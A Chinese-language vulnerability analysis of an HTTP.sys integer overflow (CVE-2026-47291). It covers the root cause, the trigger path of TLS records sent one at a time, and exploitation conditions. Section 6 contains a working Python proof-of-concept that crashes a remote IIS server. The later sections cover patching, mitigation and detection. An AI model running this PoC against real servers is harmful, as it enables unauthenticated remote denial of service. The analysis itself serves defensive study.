2026 年 6 月补丁日,微软在 HTTP.sys 内核驱动中修复了一个 CVSS 9.8 的整数溢出漏洞。ZDI 随后于 7 月 9 日发布深度分析,奇安信独立完成了 PoC 复现,确认该漏洞可在特定配置下从远程无凭据触发内核级代码执行。漏洞的核心并非复杂的协议逻辑,而是一处被长期忽视的 16 位无符号整数回绕:当一个本应单调增长的容量计数从 0xFFFB 加 5 回绕到 0x0000 后,紧接着的内存分配按 0 容量计算,却把约 512KB 的历史数据 memmove 进 40 字节的池块里。
本文按数据流自顶向下拆解整条攻击链:HTTP.sys 的缓冲区引用数组机制、整数回绕点、池溢出的内存布局、TLS 分 Record 的触发路径,以及防御侧的修复与检测思路。
一、漏洞概述
| 项目 | 内容 |
|---|---|
| CVE 编号 | CVE-2026-47291 |
| CVSS 3.x | 9.8(Critical,AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| 漏洞类型 | 整数溢出(CWE-190)+ 内核池堆溢出(CWE-122) |
| 受影响组件 | Windows HTTP.sys 内核态 HTTP 协议栈驱动(http.sys) |
| 触发向量 | 远程、未认证、仅依赖网络可达的 HTTPS 服务 |
| 补丁 | 2026 年 6 月补丁日 |
| 公开分析 | ZDI 于 2026-07-09 发布深度分析 |
| PoC | 奇安信已成功复现(蓝屏路径) |
该漏洞的攻击面集中在 HTTP.sys 对"单 HTTP 请求内大量头部行"的缓冲区管理上。由于缓冲区引用数组的容量字段被声明为 16 位无符号整数,攻击者通过在单个 TLS 连接中持续投递大量小记录,迫使容量字段越过 0xFFFF 边界回绕为 0,进而让扩容路径分配出远小于实际数据量的池块,造成超过 500KB 的非分页池溢出。
二、HTTP.sys 架构基础
HTTP.sys 是 Windows 的内核态 HTTP 协议栈驱动,承担 IIS 与 HTTP Server API(Http* 系列函数)的底层请求接收与解析工作。它常驻内核,直接挂钩 TDI/WFP 层收包,并在内核态完成 HTTP 请求行的切分、头部解析与请求对象构造,再把就绪的请求对象派发给用户态的工作进程(w3wp.exe)。
把请求接收放到内核里有明确的性能动机:避免每个连接的用户态/内核态上下文切换,由内核统一管理连接复用与请求队列。但代价同样明显——任何在内核态解析路径上的内存破坏漏洞都直接危及整个内核,权限边界从"应用进程"退化为"SYSTEM 内核态"。
用户态 内核态
+-----------------------+ +----------------------------------+
| w3wp.exe (IIS 工作进程)| <----+ HTTP.sys 请求队列 / 请求对象 |
| 应用层业务处理 | | ^ HTTP 头部解析、缓冲区管理 |
+-----------------------+ | | |
| | SChannel 内核态 TLS 解密 |
| | ^ application data record |
+-----------------------+ | | | (逐 record 解密并交付) |
| 客户端浏览器/curl | ======>+ | | |
| TLS 1.2/1.3 over TCP | | v v |
+-----------------------+ | TCP/IP 栈 (WFP/TDI 收包) |
+----------------------------------+
请求缓冲区管理是 HTTP.sys 的核心职责之一。对于单个 HTTP 请求,驱动需要为每一个接收到的数据片段(通常对应一个 TLS application data record 解密后的一段明文)维护一条引用记录,记录其指针与长度,供后续头部解析与请求体重组使用。这些引用被组织成一个"缓冲区引用数组",即漏洞发生的数据结构。
三、漏洞根因深度分析
3.1 缓冲区引用数组机制
HTTP.sys 为每个请求对象维护一个缓冲区引用数组,数组里每个槽位存放一个指向已接收缓冲区的指针(及其元数据,单个槽位占 8 字节量级)。数组本身用两个字段描述其状态:
capacity(容量):数组当前可容纳的槽位数,16 位无符号整数(unsigned __int16)。count(已用计数):当前已写入的槽位数,同样为 16 位无符号整数。
当一个新的缓冲区片段到达、需要登记进引用数组时,驱动检查 count >= capacity:若已满,则执行一次扩容,将 capacity 增加 5 个槽位,并分配一个新的、更大的数组,把旧数组内容整体 memmove 过去。这是一个经典的"几何/线性增长数组"模式,逻辑上没有问题——问题出在描述容量的字段宽度上。
请求对象 (request_object)
+----------------------------------------------+
... ...
+0x640 capacity : unsigned __int16 <-- 16 位容量字段
+0x642 count : unsigned __int16 <-- 16 位已用计数
...
buf_ref_array --> [槽0][槽1]...[槽 capacity-1]
| |
v v
缓冲区指针/元数据 (每槽 8 字节)
3.2 整数溢出触发
16 位无符号整数的表达范围是 0x0000 ~ 0xFFFF(0 ~ 65535)。capacity += 5 是无回绕检查的普通加法,一旦容量逼近上界,加 5 就会越过 0xFFFF 并按 16 位宽度截断:
capacity 变化轨迹(每次扩容 +5,仅列关键点):
0x0005 -> 0x000A -> 0x000F -> ... -> 0xFFF6 -> 0xFFFB
(5) (10) (15) (65526) (65531)
最后一次扩容:
0xFFFB + 5 = 0x10000
|
v 16 位截断(保留低 16 位)
= 0x0000 <-- capacity 被写回为 0
从初值增长到 0xFFFB 大约经历 13,106 ~ 13,107 次扩容,这意味着攻击者需要向单个请求注入约 6.5 万个独立的缓冲区片段。到达 0xFFFB 后的下一次扩容,capacity += 5 在 16 位语义下等于 0,而 count 此刻已达到约 65,536(因为 count >= capacity 才触发扩容,且每一轮扩容的同时 count 也在随记录数增长)。
关键在于:截断发生在写入回请求对象之前,但后续所有依赖 capacity 的计算都使用了这个被截断的 0。
3.3 堆溢出触发
扩容时的内存分配大小按"固定头部 + 容量 × 每槽字节数"计算:
alloc_size = 0x28 + capacity * 8
= 0x28 + 0 * 8
= 40 字节 <-- 实际分配
固定头部 0x28(40 字节)用于数组自身的管理元数据,每个槽位 8 字节。capacity 已被截断为 0,于是 ExAllocatePool2 只从非分页池里切出 40 字节。然而紧随其后的 memmove 复制量按 count 计算,而非被截断的 capacity:
copy_size = count * 8
≈ 65536 * 8
= 524288 字节 (约 512KB)
约 512KB 的数据被写进一个 40 字节的池块,溢出量超过 524KB,足以覆盖后续多个非分页池块及其相邻的内核对象。
// 漏洞路径(简化自 HTTP.sys v10.0.26100.7705 的 UlpParseNextRequest)
// 请求对象 +0x640 处保存 capacity(unsigned __int16)
unsigned __int16 capacity = ReqCapacity(req); // *(uint16*)(req + 0x640)
unsigned __int16 count = ReqCount(req); // 已用槽位数
if (count >= capacity) { // 触发扩容
capacity += 5; // ★ 无回绕检查:0xFFFB + 5 == 0x10000 -> 截断 0x0000
*(unsigned __int16*)(req + 0x640) = capacity; // 把 0 写回
size_t alloc_size = 0x28 + (size_t)capacity * 8; // = 0x28 + 0 = 40 字节
void *new_buf = ExAllocatePool2(POOL_FLAG_NON_PAGED,
alloc_size, 'psPH'); // 仅分配 40 字节
// ★ 复制约 512KB 到 40 字节分配中 -> 内核非分页池溢出
memmove(new_buf, old_buf, (unsigned __int64)count * 8);
}
溢出在内核非分页池中的内存布局:
非分页池 (NonPaged Pool)
+-------------------+ <- new_buf (ExAllocatePool2 返回,40 字节)
| 头部 0x28 (40B) | <-- 仅这一段是合法分配
+-------------------+ <- 合法边界 (offset 0x28)
| 溢出数据 槽0..N | <-- memmove 写入,远超 40 字节
| (约 524KB ...) |
+-------------------+
| 相邻池块 A | <-- 被覆盖:池元数据 / 对象 vtable 指针
+-------------------+
| 相邻池块 B | <-- 被覆盖
+-------------------+
| ... | <-- 连续破坏,触发 PAGE_FAULT_IN_NONPAGED_AREA
3.4 关键代码位置
据 ZDI 分析,漏洞出现在 HTTP.sys v10.0.26100.7705 的 UlpParseNextRequest() 路径中,核心是两行无防护操作:
- 容量自增写回:
*(unsigned __int16*)(request_object + 0x640) = capacity + 5;—— 对 16 位加法结果不做回绕检查,直接写回请求对象。 - 数据搬迁:
memmove(new_buffer, old_buffer, (unsigned __int64)count * 8);—— 复制量由count决定,而分配量由被截断的capacity决定,两者脱节导致溢出。
两行代码本身都不复杂,但组合起来构成了"分配按 0、复制按 count"的严重失配。根因是 capacity 这个本应单调增长、且语义上远大于 16 位表达范围的字段,被错误地用 16 位类型承载。
四、TLS 分 Record 机制与触发路径
4.1 为什么需要 TLS
触发该漏洞的现实障碍在于:HTTP.sys 的缓冲区引用数组是"每接收一个独立缓冲区片段"增长一项,而普通的明文 HTTP 请求里,多个头部行通常被打包进同一个 TCP 段、同一次接收,只会产生少量缓冲区引用,远达不到 6.5 万的量级。TLS 的分层 record 结构恰好提供了"逐片段交付"的能力。
TLS 把应用层数据切分成一个个 application data record,每个 record 独立加密、独立带 MAC/AEAD 标签。SChannel 在内核态逐 record 解密后,会把每个 record 的明文作为独立的数据块交付给 HTTP 解析器。这天然形成了一条 1:1 的对应关系:一个 TLS record 的明文 -> 一次 HTTP.sys 缓冲区登记 -> 引用数组里一个新槽位。
TLS 流(单连接内大量小 record)
+---------+ +---------+ +---------+ +---------+
| record1 | | record2 | | record3 | ... | recordN |
| "X-1:..| | "X-2:..| | "X-3:..| | "X-N:..|
| CRLF | | CRLF | | CRLF | | CRLF |
+---------+ +---------+ +---------+ +---------+
| | | |
v v v v
SChannel 逐 record 解密,逐块交付
| | | |
v v v v
HTTP.sys 缓冲区引用数组: [槽1][槽2][槽3] ... [槽N]
count: 1 -> 2 -> 3 -> ... -> N
capacity: 5 -> 10 -> 15 -> ... -> 0xFFFB -> 0x0000 (溢出)
只要攻击者把每个 HTTP 头部行单独封装进一个 TLS record 发送,就能让 count 与 capacity 按预期增长,最终命中回绕点。
4.2 触发条件
要走到整数回绕,需要同时满足以下条件:
| 条件 | 要求 | 说明 |
|---|---|---|
| 服务暴露 | 目标启用 IIS / HTTPS,HTTP.sys 处理 TLS 卸载 | 内核态解析路径生效 |
| 请求大小上限 | MaxRequestBytes 注册表值 ≥ 262144 字节 |
默认 16384 不足以容纳 6.5 万行头部 |
| 记录数量 | 累积 65536+ 个 TLS application data record | 越过 0xFFFF 回绕点 |
| 协议版本 | HTTP/1.x over TLS | HTTP/2、HTTP/3 走二进制分帧/QUIC,解析路径不同 |
| 连接稳定性 | 单连接持续约 11 分钟 | 每记录 ~10ms 节流,避免被重传/拥塞打断 |
MaxRequestBytes 是关键门槛。它位于注册表 HKLM\System\CurrentControlSet\Services\HTTP\Parameters\MaxRequestBytes,默认值 16384 字节会先于溢出点触发"请求头过大"拒绝,从而阻断攻击;只有当管理员把它上调到约 256KB 以上时,6.5 万行头部才能被容纳,漏洞路径才可达。
4.3 攻击时序图
时间轴:
0s ──────────────────────────────────────────────────────── 660s (~11 分钟)
| |
| record 1 record 2 record 65536+ |
| (HTTP头1) (HTTP头2) (HTTP头65536+) |
| |
| capacity: 5 -> 10 -> 15 -> ... -> 0xFFFB -> +5 -> 0x0000 |
| (每接收若干记录触发一次扩容) |
| |
| v 回绕发生
| ExAllocatePool2(40 字节)
| memmove(~512KB) -> 内核非分页池溢出
| |
| v
| PAGE_FAULT_IN_NONPAGED_AREA / 蓝屏 (默认)
| 或特定布局下 -> 内核 RCE
按每 10ms 一个记录的节流,6.5 万个记录约需 655 秒(约 11 分钟)持续连接。节流是为了规避接收窗口、TCP 拥塞控制与 TLS record 速率限制,保证整条流稳定送达。
五、利用分析
5.1 默认影响
在不做任何额外内存布局操控的情况下,溢出直接破坏非分页池中相邻的池块与池元数据。内核在后续访问被破坏的池块(释放、合并或解引用其内部指针)时触发 PAGE_FAULT_IN_NONPAGED_AREA,系统蓝屏重启。换言之,漏洞的"开箱即用"效果是远程拒绝服务:一个未认证的网络连接即可让目标服务器整机崩溃。
5.2 RCE 条件
从池溢出升级到内核级代码执行,需要满足额外的内存布局前提:
- 溢出能精确覆盖某个含函数指针(如虚表、回调、I/O 完成例程)的相邻内核对象。
- 攻击者能通过堆风(heap feng shui)控制被覆盖对象的位置与时机,使受控数据落在函数指针字段。
- 在该函数指针被解引用时跳转到可控地址,最终完成内核态执行并提升到 SYSTEM。
由于溢出量大(>500KB)、连续覆盖多个池块,理论上为布局操控提供了较宽的"涂改"窗口,降低了精确命中的难度。但整体利用仍属高难度,依赖具体版本的池分配器行为与对象排布。
5.3 利用限制
- 必须是非默认的
MaxRequestBytes配置(≥256KB 量级),现实中这类调优多见于高负载 IIS 或某些反代后端。 - 需要长达约 11 分钟的稳定 TLS 连接,长连接与流量异常容易被边界设备观测到。
- 仅 HTTP/1.x over TLS 可触发;HTTP/2 的 HPACK 头部压缩与多路复用、HTTP/3 的 QUIC 帧解析都走不同代码路径,不受此漏洞影响。
- 节流速率若过快会被 TCP/TLS 层反压打断,过慢则进一步拉长攻击窗口。
六、PoC 复现方法论
6.1 环境准备
复现蓝屏路径需要一台可控的 Windows Server:
- 安装并启用 IIS,绑定 HTTPS 站点(自签名证书即可,复现不校验)。
- 调整注册表放宽请求大小上限:
修改后重启 HTTP 服务(HKLM\System\CurrentControlSet\Services\HTTP\Parameters\MaxRequestBytes 类型: DWORD 取值: 0x00100000 (1048576,1MB,确保 > 262144)net stop http / y再net start http,或重启系统)使配置生效。 - 关闭防火墙对 443 的拦截,确认从攻击机能建立 TLS 握手。
- 建议在虚拟机快照状态下操作,蓝屏不可逆。
6.2 PoC 脚本
下面的 Python 脚本是触发路径的概念演示,仅发送逐 record 的头部行以推高 count,不包含任何内核布局操控或 RCE 载荷,复现结果是蓝屏。
import ssl
import socket
import time
# PoC 概念演示(非完整 exploit,仅复现蓝屏路径)
RECORD_COUNT = 65540 # 略超 0xFFFF 回绕点
INTERVAL_MS = 10 # 每记录间隔,规避反压
def trigger_overflow(target, port):
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE # 复现环境不校验证书
sock = socket.create_connection((target, port), timeout=30)
ssock = context.wrap_socket(sock, server_hostname=target)
# 请求行,开始一个 HTTP/1.1 请求
ssock.send(b"GET / HTTP/1.1\r\n")
# 逐记录投递头部行:每次 send 通常生成一个独立的 TLS application data record
for i in range(RECORD_COUNT):
header = f"X-Pad-{i}: {'A' * 10}\r\n".encode()
ssock.send(header) # 1 次 send -> 1 个 TLS record -> 1 个缓冲区引用
time.sleep(INTERVAL_MS / 1000)
ssock.send(b"\r\n") # 结束 HTTP 请求头
try:
ssock.recv(1024)
except Exception:
pass
ssock.close()
if __name__ == "__main__":
trigger_overflow("192.168.1.10", 443)
ssl 模块基于 OpenSSL,对每次 send 调用默认会封装为一个独立的 TLS record(受 SSL_OP_* 与内部缓冲影响,实际 record 边界由底层协商决定;为确保 1:1,可进一步用 ssock.setsockopt 或直接操作 record 边界的 BIO,但概念验证层面单次 send 已足够稳定地命中)。
6.3 验证方法
- 蓝屏监控:目标机出现
PAGE_FAULT_IN_NONPAGED_AREA(错误码0x50),且故障模块为HTTP.sys,即可初步确认命中。 - 内核调试:通过 WinDbg 串口/网络内核调试附加,在
UlpParseNextRequest与ExAllocatePool2下断,观察capacity从0xFFFB跃变为0x0000、分配大小为0x28而memmove长度为~0x80000(512KB)的失配现场。 - 池标记核对:
!pool used与!poolfind检查'psPH'池标记对应的 40 字节块被越界写入的痕迹。
七、修复方案与防御
7.1 官方修复
安装 2026 年 6 月补丁日更新。修复方向是把 capacity 从 16 位提升到 32 位(ULONG),并在扩容前加入显式回绕检查,使分配量与复制量重新由同一个未被截断的容量字段决定。
// 修复方案(示意):capacity 提升为 32 位 + 扩容前溢出检查
ULONG capacity = ReqCapacity32(req); // *(ULONG*)(req + 0x640)
ULONG count = ReqCount(req);
if (count >= capacity) {
if (capacity > MAXULONG - 5) // 显式溢出检查
return STATUS_INTEGER_OVERFLOW;
capacity += 5;
*(ULONG*)(req + 0x640) = capacity;
size_t alloc_size = 0x28 + (size_t)capacity * 8; // 容量与分配重新一致
void *new_buf = ExAllocatePool2(POOL_FLAG_NON_PAGED, alloc_size, 'psPH');
if (!new_buf)
return STATUS_INSUFFICIENT_RESOURCES;
memmove(new_buf, old_buf, (SIZE_T)count * 8); // 此时 alloc_size >= count*8
}
7.2 临时缓解
在无法立即打补丁的环境中,保持 MaxRequestBytes ≤ 65535 字节即可切断触发链(默认 16384 已天然安全)。该值位于:
HKLM\System\CurrentControlSet\Services\HTTP\Parameters\MaxRequestBytes
确认该 DWORD 值未被运维或某些应用调大到 256KB 以上,是成本最低的有效缓解。
7.3 流量检测
| 检测维度 | 方法 | 阈值参考 |
|---|---|---|
| 解密检测 | 统计单个 HTTP 请求的头部行数 | > 1000 行视为可疑 |
| 加密启发式 | 统计单 TLS 连接内小 application data record 数 | > 1000 个小记录 |
| 连接时长 | 监控单连接持续时间 | > 11 分钟的稳定长连接 |
| record 大小分布 | 检测大量近乎等长的小 record | record 净荷 < 64 字节且高度密集 |
加密流量无法直接看到 HTTP 头部内容,但"单连接内大量小 record"这一外发特征在流量层清晰可见,是 TLS 检测设备可以落地的启发式规则。
7.4 深度防御
- WAF 规则:在前端限制单请求 HTTP 头数量与请求头总大小,在到达 HTTP.sys 之前截断。
- TLS 中间盒解密检查:对出站/入站 TLS 流量解密后检测异常头部模式,兼顾隐私与安全时仅统计元数据。
- 内核池保护:启用 PoolGuard / PoolCorruptionGuard 等内核池完整性校验,在溢出发生瞬间即触发检测而非等到蓝屏。
- 纵深监控:对
HTTP.sys模块崩溃、0x50蓝屏建立告警关联,缩短从被攻击到发现的时间窗口。
八、整数溢出漏洞的通用启示
8.1 16 位整数溢出模式
16 位字段之所以危险,在于其上限仅 65535,对于任何"随用户输入线性增长"的计数器都属于可枚举范围。与更宽字段相比,16 位回绕所需的输入量低到攻击者可在分钟级别内构造完成。
| CVE | 组件 | 溢出字段宽度 | 溢出根因 | 主要影响 |
|---|---|---|---|---|
| CVE-2026-47291 | HTTP.sys | uint16 capacity | capacity += 5 回绕为 0 |
非分页池溢出,内核 RCE |
| CVE-2015-1635 | HTTP.sys | 64 位 Range 端点 | Range 端点累加溢出导致越界读 | 内核整页读取/DoS |
| CVE-2020-0796 | SMBv3 srv2 | 32 位偏移/长度 | 解压长度计算溢出 | 内核池溢出,RCE |
| CVE-2022-21907 | HTTP.sys | 计数 | RST/计数处理失配 | 内存破坏,RCE |
横向看,HTTP.sys 这类内核态协议栈是整数溢出的重灾区:协议字段多、计数器多、且常常直接来自远端输入。CVE-2015-1635 与 CVE-2026-47291 相隔多年却同源——都是"描述长度的字段在算术运算后失去语义",说明这类缺陷具有反复复发的结构性特征。
8.2 C 语言类型安全
C/C++ 中无符号整数运算的溢出是静默的:0xFFFB + 5 在 unsigned __int16 语境下合法地等于 0x0000,编译器不报警,运行时不抛异常。这正是该类漏洞难以在常规测试中暴露的原因。可叠加的工程化手段包括:
- 编译期选项:
/GS(栈保护)、/sdl(安全开发生命周期检查)、/Qfast_transcendentals之外的整数溢出相关检查;MSVC 的/fsanitize=address与 Clang 的-fsanitize=integer,unsigned-integer-overflow可在测试期捕获回绕。 - 静态分析:启用
/analyze,配合 SAL 标注(_In_range_、_Out_range_)约束字段取值域。 - 运行期检查:对长度/计数类运算统一走
RtlULongAdd、RtlSizeTMult等带STATUS_INTEGER_OVERFLOW返回的安全整数 API,禁止裸算术。
8.3 内核开发安全
针对内核态开发,几条经验值得固化为编码规范:
- 永远不信任来自远端的长度与计数字段;任何"用户可控、单调增长"的计数器都应假定会触及上限。
- 用
SIZE_T/ULONG_PTR等指针宽度类型承载"可能很大"的容量与长度,而非 16 位类型——16 位只有在确证范围受限(如协议字段宽度)时才使用。 - 扩容分配与复制必须使用同一个未截断的源字段,且分配大小严格不小于复制大小;二者解耦是这类溢出的直接成因。
- 对几何/线性增长数组,优先使用既经审计的容器实现,而非每次手写
capacity += N+memmove。
九、攻击面分析
HTTP.sys 长期暴露在内核态、直接处理远端不可信输入,是 Windows 内核远程攻击面中权重最高的组件之一。它常驻内核、解析复杂的文本协议、维护大量动态数据结构,且其崩溃直接等同于系统崩溃,因此任何一处内存破坏都会从"应用 DoS"放大为"内核 DoS/RCE"。
| CVE | 年份 | 触发点 | 类型 | 默认影响 |
|---|---|---|---|---|
| CVE-2015-1635 (MS15-034) | 2015 | Range 头整数溢出 | 整数溢出/越界读 | DoS / RCE |
| CVE-2021-31166 | 2021 | HTTP 头解析内存破坏 | 内存破坏 | DoS / RCE |
| CVE-2022-21907 | 2022 | RST 与计数处理 | 内存破坏 | RCE |
| CVE-2026-47291 | 2026 | 缓冲区引用数组 capacity 回绕 | 16 位整数溢出/池溢出 | DoS / RCE |
从这张时间线可以看到,HTTP.sys 的攻击面在过去十年里持续被不同维度的缺陷刷新:Range 头、头部解析、连接状态机、再到本次的缓冲区引用数组。CVE-2026-47291 的特别之处在于,它不是协议语义层面的复杂逻辑错误,而是一处纯粹的类型宽度误用——一个本该用更宽类型承载的计数器,被声明成了 16 位。这类缺陷修复成本低(一处类型提升 + 一行回绕检查),但发现成本高,往往要等到攻击者把计数推到上界才会显形。
对防御方而言,结论是直接的:保持补丁最新、收紧 MaxRequestBytes 默认值、在边界处对"单连接大量小 TLS record"建立启发式告警,并在内核侧启用池完整性保护。对开发方而言,教训是结构性的——任何随不可信输入线性增长、且参与内存分配大小计算的计数器,都不应使用窄宽度整数承载。
浙公网安备 33010602011771号